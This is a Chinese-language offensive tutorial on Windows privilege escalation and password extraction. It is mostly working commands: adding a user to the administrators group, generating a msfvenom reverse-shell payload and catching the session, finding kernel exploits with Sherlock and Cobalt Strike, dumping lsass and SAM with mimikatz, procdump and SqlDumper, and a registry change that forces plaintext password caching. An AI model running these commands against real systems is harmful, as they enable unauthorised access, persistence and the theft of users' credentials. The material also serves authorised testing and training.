window提权

Windows是一个支持多用户、多任务的操作系统,这是权限设置的基础,一切权限设置都是基于用户和进程而言的,不同的用户在访问这台计算机时,将会有不同的权限。

WindowsNT用户组:

  • Administrators:管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。
  • Power Users:高级用户组,Power Users 可以执行除了为
  • Administrators 组保留的任务外的其他任何操作系统任务。
  • Users:普通用户组,这个组的用户无法进行有意或无意的改动。
  • Guests:来宾组,来宾跟普通Users的成员有同等访问权,但来宾帐户的限制更多
  • Everyone:所有的用户,这个计算机上的所有用户都属于这个组。

提权最重要的就是收集信息了,根据收集到的信息再进行攻击。

1
2
3
4
5
服务器系统和版本位数
服务器的补丁情况
服务器的安装软件情况
服务器的防护软件情况
端口情况

收集好信息,就可以先从这几个方面入手:

1
2
3
确定是否能执行命令(如果不能调用系统cmd执行命令。 要上传一个cmd.exe)
找一个可写可执行的目录
通过查找的补丁信息,找相应的exp提权

基础命令

命令 描述
systeminfo 打印系统信息
whoami 获得当前用户名
Set 环境变量
whoami /priv 当前帐户权限
ipconfig 网络配置信息
ipconfig /displaydns 显示DNS缓存
route print 打印出路由表
arp -a 打印arp表
hostname 主机名
net user 列出用户
net user UserName 关于用户的信息
net use \SMBPATH Pa$$w0rd /u:UserName 连接SMB
net localgroup 列出所有组
net localgroup GROUP 关于指定组的信息
net user guest /active:yes 激活guest用户
net user 用户名 密码/add 建立用户
net localgroup administrators 用户名/add 把用户添加到管理员组中
net session 开放给其他机器
netsh firewall show config 显示防火墙配置
DRIVERQUERY 列出安装的驱动
tasklist /svc 列出服务任务
Tasklist /svc find “TermService”
net start 列出启动的服务
dir /s foo 在目录中搜索包含指定字符的项目
sc query 列出所有服务
sc qc ServiceName 找到指定服务的路径
shutdown /r /t 0 立即重启
type file.txt 打印出内容
icacls “C:\Example” 列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn 列出已安装的布丁
(New-Object System.Net.WebClient).DownloadFile(“http://host/file”,”C:\LocalPath”) 利用ps远程下载文件到本地
wmic product get name,version 查看当前安装程序

内核溢出提权

“系统内核溢出提权”因其利用便捷成为了最为常用的方法,在使用该方法提权时我们只需要去查看目标系统中打了那些系统补丁,之后去找补丁的”互补”补丁,并利用对应的提权类的漏洞实现权限提升。

推荐一个提权类exp https://github.com/Al1ex/Heptagram/tree/master/Windows/Elevation

msf

MSF框架中自带提权辅助功能模块——post/windows/gather/enum_pathes,该模块会根据漏洞编号快速查找目标系统中的补丁信息。
生成payload

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.101 lport=4444 -f exe -o shell.exe

监听

1
2
3
4
5
6
7
8
9
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

之后成功返回会话:

1
2
3
4
5
6
7
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.101:4444
[*] Sending stage (200262 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.101:9351) at 2021-06-28 19:26:03 +0800

meterpreter >

之后再Meterpreter中执行如下命令即可查看系统补丁信息(老版本的会给出可用的EXP,MSF5好像不提供了):

1
2
3
4
5
6
meterpreter > run post/windows/gather/enum_patches

[*] Patch list saved to C:/Users/ye1s/.msf4/loot/20210628192724_default_192.168.247.133_enum_patches_561327.txt
[+] KB3192137 installed on 9/12/2016
[+] KB4486129 installed on 6/7/2021
[+] KB3206632 installed on 6/7/2021

于此同时,我们也可以通过执行以下命令来查看目标系统可用的漏洞,之后探寻提权EXP:

1
2
3
4
5
6
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 192.168.247.133 - Collecting local exploits for x64/windows...
[*] 192.168.247.133 - 28 exploit checks are being tried...
[+] 192.168.247.133 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[-] 192.168.247.133 - Post failed: NoMethodError undefined method `reverse!' for nil:NilClass

Sherlock

Sherlock(https://github.com/rasta-mouse/Sherlock) 是一个在Windows下用于本地提权的PowerShell脚本,目前包含了以下漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
MS10-015 : User Mode to Ring (KiTrap0D)
MS10-092 : Task Scheduler
MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
MS13-081 : TrackPopupMenuEx Win32k NULL Page
MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
MS15-051 : ClientCopyImage Win32k
MS15-078 : Font Driver Buffer Overflow
MS16-016 : 'mrxdav.sys' WebDAV
MS16-032 : Secondary Logon Handle
MS16-034 : Windows Kernel-Mode Drivers EoP
MS16-135 : Win32k Elevation of Privilege
CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc

该工具的利用也是较为简单,首先下载项目到本地,之后再终端调用Sherlock(获取webshell的主机中直接上传即可):

1
PS D:\>Import-Module .\Sherlock.ps1

之后执行以下命令来列举当前系统中所有可利用的漏洞:

1
PS D:\>Find-AllVulns

当然你也可以搜索某一个特定漏洞,例如:

1
PS D:\>Find-CVE20177199

根据Sherlock的说明目前CS已经可以实现” 导入模块——>查询单一漏洞——>直接提权 “的一套流程了,下面是Github中的实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are Win7-x64\Rasta

beacon> powershell-import C:\Users\Rasta\Desktop\Sherlock.ps1
[*] Tasked beacon to import: C:\Users\Rasta\Desktop\Sherlock.ps1
[+] host called home, sent: 2960 bytes

beacon> powershell Find-MS14058
[*] Tasked beacon to run: Find-MS14058
[+] host called home, sent: 20 bytes
[+] received output:

Title : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID : 2014-4113
Link : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable

beacon> elevate ms14-058 smb

密码破解

基础知识

以下大部分转自daiker的文章: https://daiker.gitbook.io/windows-protocol/ntlm-pian/

windows内部是不保存明文密码的,只保存密码的hash。
其中本机用户的密码hash是放在 本地的SAM文件 里面,域内用户的密码hash是存在域控的NTDS.DIT文件 里面。那hash的格式是怎么样的呢?
在Windows系统导出密码的时候,经常看到这样的密码格式

1
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::

其中的

  • AAD3B435B51404EEAAD3B435B51404EE是LM Hash
  • 31D6CFE0D16AE931B73C59D7E0C089C0是NTLM Hash

LM Hash

全称是LAN Manager Hash, windows最早用的加密算法,由IBM设计。
LM Hash的计算:

  1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
  3. 再分7bit为一组,每组末尾加0,再组成一组
  4. 上步骤得到的二组,分别作为key 为 “KGS!@#$%”进行DES加密。
  5. 将加密后的两组拼接在一起,得到最终LM HASH值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding=utf-8
import re
import binascii
from pyDes import *
def DesEncrypt(str, Des_Key):
k = des(binascii.a2b_hex(Des_Key), ECB, pad=None)
EncryptStr = k.encrypt(str)
return binascii.b2a_hex(EncryptStr)

def group_just(length,text):
# text 00110001001100100011001100110100001101010011011000000000
text_area = re.findall(r'.{%d}' % int(length), text) # ['0011000', '1001100', '1000110', '0110011', '0100001', '1010100', '1101100', '0000000']
text_area_padding = [i + '0' for i in text_area] #['00110000', '10011000', '10001100', '01100110', '01000010', '10101000', '11011000', '00000000']
hex_str = ''.join(text_area_padding) # 0011000010011000100011000110011001000010101010001101100000000000
hex_int = hex(int(hex_str, 2))[2:].rstrip("L") #30988c6642a8d800
if hex_int == '0':
hex_int = '0000000000000000'
return hex_int

def lm_hash(password):
# 1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
pass_hex = password.upper().encode("hex").ljust(28,'0') #3132333435360000000000000000
print(pass_hex)
# 2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
left_str = pass_hex[:14] #31323334353600
right_str = pass_hex[14:] #00000000000000
left_stream = bin(int(left_str, 16)).lstrip('0b').rjust(56, '0') # 00110001001100100011001100110100001101010011011000000000
right_stream = bin(int(right_str, 16)).lstrip('0b').rjust(56, '0') # 00000000000000000000000000000000000000000000000000000000
# 3. 再分7bit为一组,每组末尾加0,再组成一组
left_stream = group_just(7,left_stream) # 30988c6642a8d800
right_stream = group_just(7,right_stream) # 0000000000000000
# 4. 上步骤得到的二组,分别作为key 为 "KGS!@#$%"进行DES加密。
left_lm = DesEncrypt('KGS!@#$%',left_stream) #44efce164ab921ca
right_lm = DesEncrypt('KGS!@#$%',right_stream) # aad3b435b51404ee
# 5. 将加密后的两组拼接在一起,得到最终LM HASH值。
return left_lm + right_lm

if __name__ == '__main__':
hash = lm_hash("123456")

LM加密算法存在一些固有的漏洞

  • 首先,密码长度最大只能为14个字符
  • 密码不区分大小写。在生成哈希值之前,所有密码都将转换为大写
  • 查看我们的加密过程,就可以看到使用的是分组的DES,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee,如果我们看到lm hash的结尾是aad3b435b51404ee,就可以很轻易的发现密码强度少于7位
  • 一个14个字符的密码分成7 + 7个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式使破解难度大大降低,这使得14个字符的密码的有效强度等于,7个字符的密码的两倍,该密码的复杂度明显低于 14个字符的密码的理论强度。
  • Des密码强度不高

NTLM Hash

为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。下面是各个版本对LM和NTLM的支持。

也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。(因此后面我们介绍身份认证的时候只介绍Net-ntlm,不再介绍net-lm)如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE。

所以在win7 中我们看到抓到LM Hash都是AAD3B435B51404EEAAD3B435B51404EE,这里的LM Hash并没有价值

NTLM Hash的计算

  1. 先将用户密码转换为十六进制格式。
  2. 将十六进制格式的密码进行Unicode编码。
  3. 使用MD4摘要算法对Unicode编码数据进行Hash计算

获取HASH

原理:lsass.exe进程用于实现windows安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存的lsass.exe进程或者SAM文件中导出。SAM文件保存在C:\Windows\System32\config目录下,该文件被锁定,不允许复制。

1.WCE

WCE支持Windows XP,Windows 2003,Vista,Windows 7和Windows 2008(所有SP,32位和64位版本)

wce的pass传递

1
2
wce.exe -s <username>:<domain>:<lmhash>:<nthash>
wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c cmd.exe

获取hash值

1
2
wce -o output.txt
type output.tx

抓取明文:

1
wce.exe  -w

2.mimikatz

项目地址:https://github.com/gentilkiwi/mimikatz

Mimikatz 是一个开源的项目,用于 Windows 下读取已经登录过的用户 Hash 和明文密码,要顺利的读取密码必须具有 Admin 或者System 权限,所以它也是内网渗透神器之一。

当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential /t REG_DWORD /d 1 /f

本地交互式抓取
运行mimikatz.exe,弹出mimikatz的窗口,输入如下命令:

显示您是否具有适当的权限来继续:

1
mimikatz # privilege::debug

启动日志记录功能:

1
mimikatz # log

输出存储在此计算机上的所有明文密码:

1
mimikatz # sekurlsa::logonpasswords

此时会在当前 shell 运行的目录下生成mimikatz.log,这里面记录了抓取密码的一些详细情况

本地非交互式抓取
在高权限的 CMD 命令行下直接运行:

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > mimikatz.txt

3.QuarksPwDump

该工具支持Windows XP/2003/Vista/7/2008版本,且相当稳定。

可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户。

下载地址:https://codeload.github.com/quarkslab/quarkspwdump/zip/master

完整源代码可以从https://github.com/quarkslab/quarkspwdump获取

1
Quarkspwdump.exe --dump-hash-local   导出用户的NTLM Hash

4.getpass.exe

该工具由闪电小子根据mimikatz编译,可以直接获取明文密码。直接运行getpass.exe即可。

5.LaZagne

LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。

该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC

下载地址 https://github.com/AlessandroZ/LaZagne

运行命令

1
LaZagne.exe all

6.pwdump

下载地址:https://www.openwall.com/passwords/windows-pwdump

7.SAM表获取hash

导出导出SAM和System文件

1
2
reg save HKLM\SYSTEM sys.hiv 
reg save HKLM\SAM sam.hiv

将注册表的SAM、System文件导出到本地磁盘。使用mimikatz读取SAM和System文件。可获取NTLM Hash

1
mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit

*8.混合搭配mimikatz *

procdump

procdump下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

该工具是微软出品的工具,具有一定免杀效果。可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

1
procdump.exe -accepteula -ma lsass.exe lsass.dmp  导出lsass.dmp

再使用mimikatz读取密码

1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行

SqlDumper.exe

该工具也是微软出品,也具备一定免杀能力。

SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本。如果目标机器没有安装SQL Server,自己上传SqlDumper.exe

1
2
tasklist /svc | findstr lsass.exe  查看lsass.exe 的ProcessID
Sqldumper.exe ProcessID 0 0x01100 导出dump文件

mimikatz加载dump文件

1
mimikatz.exe "sekurlsa::minidump SQLDmpr0002.mdmp" "sekurlsa::logonPasswords full" exit

SharpDump

工具下载:https://github.com/GhostPack/SharpDump

Out-Minidump.ps1 脚本C#版本编译后的结果。
把lsass.exe进程数据导出来dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压并使用本地的mimikatz进行读取。

1
mimikatz.exe "sekurlsa::minidump debug520" "sekurlsa::logonPasswords full" "exit"

破解HASH

在线网站:https://www.objectif-securite.ch/ophcrack

参考文章:

NTLM 基础 介绍:https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x00-qian-yan

Windows常见提权总结:https://www.freebuf.com/articles/system/254836.html
https://cloud.tencent.com/developer/article/1771226

Windows下常见的内核溢出提权:https://xz.aliyun.com/t/8292

https://www.freebuf.com/articles/network/247980.html
https://www.freebuf.com/articles/network/250827.html